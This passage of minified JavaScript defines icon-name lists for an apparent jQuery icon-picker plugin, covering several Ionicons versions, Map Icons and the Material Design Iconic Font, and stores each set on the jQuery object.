7-email","ios7-email-outline","ios7-eye","ios7-eye-outline","ios7-fastforward","ios7-fastforward-outline","ios7-filing","ios7-filing-outline","ios7-film","ios7-film-outline","ios7-flag","ios7-flag-outline","ios7-folder","ios7-folder-outline","ios7-football","ios7-football-outline","ios7-gear","ios7-gear-outline","ios7-glasses","ios7-glasses-outline","ios7-heart","ios7-heart-outline","ios7-help","ios7-help-empty","ios7-help-outline","ios7-home","ios7-home-outline","ios7-infinite","ios7-infinite-outline","ios7-information","ios7-information-empty","ios7-information-outline","ios7-ionic-outline","ios7-keypad","ios7-keypad-outline","ios7-lightbulb","ios7-lightbulb-outline","ios7-location","ios7-location-outline","ios7-locked","ios7-locked-outline","ios7-loop","ios7-loop-strong","ios7-medkit","ios7-medkit-outline","ios7-mic","ios7-mic-off","ios7-mic-outline","ios7-minus","ios7-minus-empty","ios7-minus-outline","ios7-monitor","ios7-monitor-outline","ios7-moon","ios7-moon-outline","ios7-more","ios7-more-outline","ios7-musical-note","ios7-musical-notes","ios7-navigate","ios7-navigate-outline","ios7-paper","ios7-paper-outline","ios7-paperplane","ios7-paperplane-outline","ios7-partlysunny","ios7-partlysunny-outline","ios7-pause","ios7-pause-outline","ios7-paw","ios7-paw-outline","ios7-people","ios7-people-outline","ios7-person","ios7-person-outline","ios7-personadd","ios7-personadd-outline","ios7-photos","ios7-photos-outline","ios7-pie","ios7-pie-outline","ios7-play","ios7-play-outline","ios7-plus","ios7-plus-empty","ios7-plus-outline","ios7-pricetag","ios7-pricetag-outline","ios7-pricetags","ios7-pricetags-outline","ios7-printer","ios7-printer-outline","ios7-pulse","ios7-pulse-strong","ios7-rainy","ios7-rainy-outline","ios7-recording","ios7-recording-outline","ios7-redo","ios7-redo-outline","ios7-refresh","ios7-refresh-empty","ios7-refresh-outline","ios7-reload","ios7-reloading","ios7-reverse-camera","ios7-reverse-camera-outline","ios7-rewind","ios7-rewind-outline","ios7-search","ios7-search-strong","ios7-settings","ios7-settings-strong","ios7-skipbackward","ios7-skipbackward-outline","ios7-skipforward","ios7-skipforward-outline","ios7-snowy","ios7-speedometer","ios7-speedometer-outline","ios7-star","ios7-star-half","ios7-star-outline","ios7-stopwatch","ios7-stopwatch-outline","ios7-sunny","ios7-sunny-outline","ios7-telephone","ios7-telephone-outline","ios7-tennisball","ios7-tennisball-outline","ios7-thunderstorm","ios7-thunderstorm-outline","ios7-time","ios7-time-outline","ios7-timer","ios7-timer-outline","ios7-toggle","ios7-toggle-outline","ios7-trash","ios7-trash-outline","ios7-undo","ios7-undo-outline","ios7-unlocked","ios7-unlocked-outline","ios7-upload","ios7-upload-outline","ios7-videocam","ios7-videocam-outline","ios7-volume-high","ios7-volume-low","ios7-wineglass","ios7-wineglass-outline","ios7-world","ios7-world-outline","ipad","iphone","ipod","jet","key","knife","laptop","leaf","levels","lightbulb","link","load-a","load-b","load-c","load-d","loading-a","loading-b","loading-c","loading-d","location","locked","log-in","log-out","loop","looping","magnet","male","man","map","medkit","merge","mic-a","mic-b","mic-c","minus","minus-circled","minus-round","model-s","monitor","more","mouse","music-note","navicon","navicon-round","navigate","network","no-smoking","nuclear","outlet","paper-airplane","paperclip","pause","person","person-add","person-stalker","pie-graph","pin","pinpoint","pizza","plane","planet","play","playstation","plus","plus-circled","plus-round","podium","pound","power","pricetag","pricetags","printer","pull-request","qr-scanner","quote","radio-waves","record","refresh","refreshing","reply","reply-all","ribbon-a","ribbon-b","sad","scissors","search","settings","share","shuffle","skip-backward","skip-forward","social-android","social-android-outline","social-apple","social-apple-outline","social-bitcoin","social-bitcoin-outline","social-buffer","social-buffer-outline","social-designernews","social-designernews-outline","social-dribbble","social-dribbble-outline","social-dropbox","social-dropbox-outline","social-facebook","social-facebook-outline","social-foursquare","social-foursquare-outline","social-freebsd-devil","social-github","social-github-outline","social-google","social-google-outline","social-googleplus","social-googleplus-outline","social-hackernews","social-hackernews-outline","social-instagram","social-instagram-outline","social-linkedin","social-linkedin-outline","social-pinterest","social-pinterest-outline","social-reddit","social-reddit-outline","social-rss","social-rss-outline","social-skype","social-skype-outline","social-tumblr","social-tumblr-outline","social-tux","social-twitter","social-twitter-outline","social-usd","social-usd-outline","social-vimeo","social-vimeo-outline","social-windows","social-windows-outline","social-wordpress","social-wordpress-outline","social-yahoo","social-yahoo-outline","social-youtube","social-youtube-outline","speakerphone","speedometer","spoon","star","stats-bars","steam","stop","thermometer","thumbsdown","thumbsup","toggle","toggle-filled","trash-a","trash-b","trophy","umbrella","university","unlocked","upload","usb","videocamera","volume-high","volume-low","volume-medium","volume-mute","wand","waterdrop","wifi","wineglass","woman","wrench","xbox"]},{version:"2.0.1",icons:["","alert","alert-circled","android-add","android-add-circle","android-alarm-clock","android-alert","android-apps","android-archive","android-arrow-back","android-arrow-down","android-arrow-dropdown","android-arrow-dropdown-circle","android-arrow-dropleft","android-arrow-dropleft-circle","android-arrow-dropright","android-arrow-dropright-circle","android-arrow-dropup","android-arrow-dropup-circle","android-arrow-forward","android-arrow-up","android-attach","android-bar","android-bicycle","android-boat","android-bookmark","android-bulb","android-bus","android-calendar","android-call","android-camera","android-cancel","android-car","android-cart","android-chat","android-checkbox","android-checkbox-blank","android-checkbox-outline","android-checkbox-outline-blank","android-checkmark-circle","android-clipboard","android-close","android-cloud","android-cloud-circle","android-cloud-done","android-cloud-outline","android-color-palette","android-compass","android-contact","android-contacts","android-contract","android-create","android-delete","android-desktop","android-document","android-done","android-done-all","android-download","android-drafts","android-exit","android-expand","android-favorite","android-favorite-outline","android-film","android-folder","android-folder-open","android-funnel","android-globe","android-hand","android-hangout","android-happy","android-home","android-image","android-laptop","android-list","android-locate","android-lock","android-mail","android-map","android-menu","android-microphone","android-microphone-off","android-more-horizontal","android-more-vertical","android-navigate","android-notifications","android-notifications-none","android-notifications-off","android-open","android-options","android-people","android-person","android-person-add","android-phone-landscape","android-phone-portrait","android-pin","android-plane","android-playstore","android-print","android-radio-button-off","android-radio-button-on","android-refresh","android-remove","android-remove-circle","android-restaurant","android-sad","android-search","android-send","android-settings","android-share","android-share-alt","android-star","android-star-half","android-star-outline","android-stopwatch","android-subway","android-sunny","android-sync","android-textsms","android-time","android-train","android-unlock","android-upload","android-volume-down","android-volume-mute","android-volume-off","android-volume-up","android-walk","android-warning","android-watch","android-wifi","aperture","archive","arrow-down-a","arrow-down-b","arrow-down-c","arrow-expand","arrow-graph-down-left","arrow-graph-down-right","arrow-graph-up-left","arrow-graph-up-right","arrow-left-a","arrow-left-b","arrow-left-c","arrow-move","arrow-resize","arrow-return-left","arrow-return-right","arrow-right-a","arrow-right-b","arrow-right-c","arrow-shrink","arrow-swap","arrow-up-a","arrow-up-b","arrow-up-c","asterisk","at","backspace","backspace-outline","bag","battery-charging","battery-empty","battery-full","battery-half","battery-low","beaker","beer","bluetooth","bonfire","bookmark","bowtie","briefcase","bug","calculator","calendar","camera","card","cash","chatbox","chatbox-working","chatboxes","chatbubble","chatbubble-working","chatbubbles","checkmark","checkmark-circled","checkmark-round","chevron-down","chevron-left","chevron-right","chevron-up","clipboard","clock","close","close-circled","close-round","closed-captioning","cloud","code","code-download","code-working","coffee","compass","compose","connection-bars","contrast","crop","cube","disc","document","document-text","drag","earth","easel","edit","egg","eject","email","email-unread","erlenmeyer-flask","erlenmeyer-flask-bubbles","eye","eye-disabled","female","filing","film-marker","fireball","flag","flame","flash","flash-off","folder","fork","fork-repo","forward","funnel","gear-a","gear-b","grid","hammer","happy","happy-outline","headphone","heart","heart-broken","help","help-buoy","help-circled","home","icecream","image","images","information","information-circled","ionic","ios-alarm","ios-alarm-outline","ios-albums","ios-albums-outline","ios-americanfootball","ios-americanfootball-outline","ios-analytics","ios-analytics-outline","ios-arrow-back","ios-arrow-down","ios-arrow-forward","ios-arrow-left","ios-arrow-right","ios-arrow-thin-down","ios-arrow-thin-left","ios-arrow-thin-right","ios-arrow-thin-up","ios-arrow-up","ios-at","ios-at-outline","ios-barcode","ios-barcode-outline","ios-baseball","ios-baseball-outline","ios-basketball","ios-basketball-outline","ios-bell","ios-bell-outline","ios-body","ios-body-outline","ios-bolt","ios-bolt-outline","ios-book","ios-book-outline","ios-bookmarks","ios-bookmarks-outline","ios-box","ios-box-outline","ios-briefcase","ios-briefcase-outline","ios-browsers","ios-browsers-outline","ios-calculator","ios-calculator-outline","ios-calendar","ios-calendar-outline","ios-camera","ios-camera-outline","ios-cart","ios-cart-outline","ios-chatboxes","ios-chatboxes-outline","ios-chatbubble","ios-chatbubble-outline","ios-checkmark","ios-checkmark-empty","ios-checkmark-outline","ios-circle-filled","ios-circle-outline","ios-clock","ios-clock-outline","ios-close","ios-close-empty","ios-close-outline","ios-cloud","ios-cloud-download","ios-cloud-download-outline","ios-cloud-outline","ios-cloud-upload","ios-cloud-upload-outline","ios-cloudy","ios-cloudy-night","ios-cloudy-night-outline","ios-cloudy-outline","ios-cog","ios-cog-outline","ios-color-filter","ios-color-filter-outline","ios-color-wand","ios-color-wand-outline","ios-compose","ios-compose-outline","ios-contact","ios-contact-outline","ios-copy","ios-copy-outline","ios-crop","ios-crop-strong","ios-download","ios-download-outline","ios-drag","ios-email","ios-email-outline","ios-eye","ios-eye-outline","ios-fastforward","ios-fastforward-outline","ios-filing","ios-filing-outline","ios-film","ios-film-outline","ios-flag","ios-flag-outline","ios-flame","ios-flame-outline","ios-flask","ios-flask-outline","ios-flower","ios-flower-outline","ios-folder","ios-folder-outline","ios-football","ios-football-outline","ios-game-controller-a","ios-game-controller-a-outline","ios-game-controller-b","ios-game-controller-b-outline","ios-gear","ios-gear-outline","ios-glasses","ios-glasses-outline","ios-grid-view","ios-grid-view-outline","ios-heart","ios-heart-outline","ios-help","ios-help-empty","ios-help-outline","ios-home","ios-home-outline","ios-infinite","ios-infinite-outline","ios-information","ios-information-empty","ios-information-outline","ios-ionic-outline","ios-keypad","ios-keypad-outline","ios-lightbulb","ios-lightbulb-outline","ios-list","ios-list-outline","ios-location","ios-location-outline","ios-locked","ios-locked-outline","ios-loop","ios-loop-strong","ios-medical","ios-medical-outline","ios-medkit","ios-medkit-outline","ios-mic","ios-mic-off","ios-mic-outline","ios-minus","ios-minus-empty","ios-minus-outline","ios-monitor","ios-monitor-outline","ios-moon","ios-moon-outline","ios-more","ios-more-outline","ios-musical-note","ios-musical-notes","ios-navigate","ios-navigate-outline","ios-nutrition","ios-nutrition-outline","ios-paper","ios-paper-outline","ios-paperplane","ios-paperplane-outline","ios-partlysunny","ios-partlysunny-outline","ios-pause","ios-pause-outline","ios-paw","ios-paw-outline","ios-people","ios-people-outline","ios-person","ios-person-outline","ios-personadd","ios-personadd-outline","ios-photos","ios-photos-outline","ios-pie","ios-pie-outline","ios-pint","ios-pint-outline","ios-play","ios-play-outline","ios-plus","ios-plus-empty","ios-plus-outline","ios-pricetag","ios-pricetag-outline","ios-pricetags","ios-pricetags-outline","ios-printer","ios-printer-outline","ios-pulse","ios-pulse-strong","ios-rainy","ios-rainy-outline","ios-recording","ios-recording-outline","ios-redo","ios-redo-outline","ios-refresh","ios-refresh-empty","ios-refresh-outline","ios-reload","ios-reverse-camera","ios-reverse-camera-outline","ios-rewind","ios-rewind-outline","ios-rose","ios-rose-outline","ios-search","ios-search-strong","ios-settings","ios-settings-strong","ios-shuffle","ios-shuffle-strong","ios-skipbackward","ios-skipbackward-outline","ios-skipforward","ios-skipforward-outline","ios-snowy","ios-speedometer","ios-speedometer-outline","ios-star","ios-star-half","ios-star-outline","ios-stopwatch","ios-stopwatch-outline","ios-sunny","ios-sunny-outline","ios-telephone","ios-telephone-outline","ios-tennisball","ios-tennisball-outline","ios-thunderstorm","ios-thunderstorm-outline","ios-time","ios-time-outline","ios-timer","ios-timer-outline","ios-toggle","ios-toggle-outline","ios-trash","ios-trash-outline","ios-undo","ios-undo-outline","ios-unlocked","ios-unlocked-outline","ios-upload","ios-upload-outline","ios-videocam","ios-videocam-outline","ios-volume-high","ios-volume-low","ios-wineglass","ios-wineglass-outline","ios-world","ios-world-outline","ipad","iphone","ipod","jet","key","knife","laptop","leaf","levels","lightbulb","link","load-a","load-b","load-c","load-d","location","lock-combination","locked","log-in","log-out","loop","magnet","male","man","map","medkit","merge","mic-a","mic-b","mic-c","minus","minus-circled","minus-round","model-s","monitor","more","mouse","music-note","navicon","navicon-round","navigate","network","no-smoking","nuclear","outlet","paintbrush","paintbucket","paper-airplane","paperclip","pause","person","person-add","person-stalker","pie-graph","pin","pinpoint","pizza","plane","planet","play","playstation","plus","plus-circled","plus-round","podium","pound","power","pricetag","pricetags","printer","pull-request","qr-scanner","quote","radio-waves","record","refresh","reply","reply-all","ribbon-a","ribbon-b","sad","sad-outline","scissors","search","settings","share","shuffle","skip-backward","skip-forward","social-android","social-android-outline","social-angular","social-angular-outline","social-apple","social-apple-outline","social-bitcoin","social-bitcoin-outline","social-buffer","social-buffer-outline","social-chrome","social-chrome-outline","social-codepen","social-codepen-outline","social-css3","social-css3-outline","social-designernews","social-designernews-outline","social-dribbble","social-dribbble-outline","social-dropbox","social-dropbox-outline","social-euro","social-euro-outline","social-facebook","social-facebook-outline","social-foursquare","social-foursquare-outline","social-freebsd-devil","social-github","social-github-outline","social-google","social-google-outline","social-googleplus","social-googleplus-outline","social-hackernews","social-hackernews-outline","social-html5","social-html5-outline","social-instagram","social-instagram-outline","social-javascript","social-javascript-outline","social-linkedin","social-linkedin-outline","social-markdown","social-nodejs","social-octocat","social-pinterest","social-pinterest-outline","social-python","social-reddit","social-reddit-outline","social-rss","social-rss-outline","social-sass","social-skype","social-skype-outline","social-snapchat","social-snapchat-outline","social-tumblr","social-tumblr-outline","social-tux","social-twitch","social-twitch-outline","social-twitter","social-twitter-outline","social-usd","social-usd-outline","social-vimeo","social-vimeo-outline","social-whatsapp","social-whatsapp-outline","social-windows","social-windows-outline","social-wordpress","social-wordpress-outline","social-yahoo","social-yahoo-outline","social-yen","social-yen-outline","social-youtube","social-youtube-outline","soup-can","soup-can-outline","speakerphone","speedometer","spoon","star","stats-bars","steam","stop","thermometer","thumbsdown","thumbsup","toggle","toggle-filled","transgender","trash-a","trash-b","trophy","tshirt","tshirt-outline","umbrella","university","unlocked","upload","usb","videocamera","volume-high","volume-low","volume-medium","volume-mute","wand","waterdrop","wifi","wineglass","woman","wrench","xbox"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_ionicon=data}(jQuery);
!function($){var data={iconClass:"",iconClassFix:"map-icon-",icons:[],allVersions:[{version:"2.1.0",icons:["","abseiling","accounting","airport","amusement-park","aquarium","archery","art-gallery","assistive-listening-system","atm","audio-description","bakery","bank","bar","baseball","beauty-salon","bicycle-store","bicycling","boat-ramp","boat-tour","boating","book-store","bowling-alley","braille","bus-station","cafe","campground","canoe","car-dealer","car-rental","car-repair","car-wash","casino","cemetery","chairlift","church","circle","city-hall","climbing","closed-captioning","clothing-store","compass","convenience-store","courthouse","cross-country-skiing","crosshairs","dentist","department-store","diving","doctor","electrician","electronics-store","embassy","expand","female","finance","fire-station","fish-cleaning","fishing","fishing-pier","florist","food","fullscreen","funeral-home","furniture-store","gas-station","general-contractor","golf","grocery-or-supermarket","gym","hair-care","hang-gliding","hardware-store","health","hindu-temple","horse-riding","hospital","ice-fishing","ice-skating","inline-skating","insurance-agency","jet-skiing","jewelry-store","kayaking","laundry","lawyer","library","liquor-store","local-government","location-arrow","locksmith","lodging","low-vision-access","male","map-pin","marina","mosque","motobike-trail","movie-rental","movie-theater","moving-company","museum","natural-feature","night-club","open-captioning","painter","park","parking","pet-store","pharmacy","physiotherapist","place-of-worship","playground","plumber","point-of-interest","police","political","post-box","post-office","postal-code","postal-code-prefix","rafting","real-estate-agency","restaurant","roofing-contractor","route","route-pin","rv-park","sailing","school","scuba-diving","search","sheild","shopping-mall","sign-language","skateboarding","ski-jumping","skiing","sledding","snow","snow-shoeing","snowboarding","snowmobile","spa","square","square-pin","square-rounded","stadium","storage","store","subway-station","surfing","swimming","synagogue","taxi-stand","tennis","toilet","trail-walking","train-station","transit-station","travel-agency","unisex","university","veterinary-care","viewing","volume-control-telephone","walking","waterskiing","whale-watching","wheelchair","wind-surfing","zoo","zoom-in","zoom-in-alt","zoom-out","zoom-out-alt"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_mapicon=data}(jQuery);
!function($){var data={iconClass:"zmdi",iconClassFix:"zmdi-",icons:[],allVersions:[{version:"2.0.0",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplay","alarm","alarm-check","alarm-off","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","apps","archive","arrow-merge","arrow-missed","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-unknown","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","book","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","cake","calendar","calendar-alt","calendar-check","calendar-note","camera","camera-add","camera-alt","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-up","case","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","code","code-setting","code-smartphone","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-image","comment-list","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","edit","eject","eject-alt","email","email-open","equalizer","explicit","exposure","exposure-alt","eye","eye-off","face","fast-forward","fast-rewind","favorite","favorite-outline","file","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","flower","folder","folder-outline","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gesture","gif","globe","globe-alt","globe-lock","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hotel","hourglass","hourglass-outline","hq","http","image","image-alt","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","invert-colors","invert-colors-off","key","keyboard","keyboard-hide","label","label-heart","labels","landscape","laptop","laptop-chromebook","laptop-mac","layers","leak","link","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-left","long-arrow-return","long-arrow-tab","looks","loupe","mail-reply","mail-reply-all","mail-send","male","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-off","mood","mood-bad","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","pause","pause-circle","pause-circle-outline","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","plaster","play","play-circle","play-circle-outline","play-for-work","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power-input","present-to-all","print","puzzle-piece","radio","reader","receipt","redo","refresh","refresh-alt","refresh-sync","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","rotate-left","rotate-right","router","ruler","satellite","scanner","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","stop","storage","sun","surround-sound","swap","swap-alt","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","tune","tv","tv-list","tv-play","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","voicemail","volume-down","volume-mute","volume-off","volume-up","wallpaper","watch","wb-auto","widgets","wrap-text","wrench","zero","zoom-in","zoom-out"]},{version:"2.0.1",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplay","alarm","alarm-check","alarm-off","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","apps","archive","arrow-merge","arrow-missed","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-unknown","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","book","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","cake","calendar","calendar-alt","calendar-check","calendar-note","camera","camera-add","camera-alt","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-up","case","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","code","code-setting","code-smartphone","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-image","comment-list","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","edit","eject","eject-alt","email","email-open","equalizer","explicit","exposure","exposure-alt","eye","eye-off","face","fast-forward","fast-rewind","favorite","favorite-outline","file","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","flower","folder","folder-outline","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gesture","gif","globe","globe-alt","globe-lock","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hotel","hourglass","hourglass-outline","hq","http","image","image-alt","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","invert-colors","invert-colors-off","key","keyboard","keyboard-hide","label","label-heart","labels","landscape","laptop","laptop-chromebook","laptop-mac","layers","leak","link","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-left","long-arrow-return","long-arrow-tab","looks","loupe","mail-reply","mail-reply-all","mail-send","male","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-off","mood","mood-bad","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","pause","pause-circle","pause-circle-outline","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","plaster","play","play-circle","play-circle-outline","play-for-work","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power-input","present-to-all","print","puzzle-piece","radio","reader","receipt","redo","refresh","refresh-alt","refresh-sync","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","rotate-left","rotate-right","router","ruler","satellite","scanner","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","stop","storage","sun","surround-sound","swap","swap-alt","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","time","time-count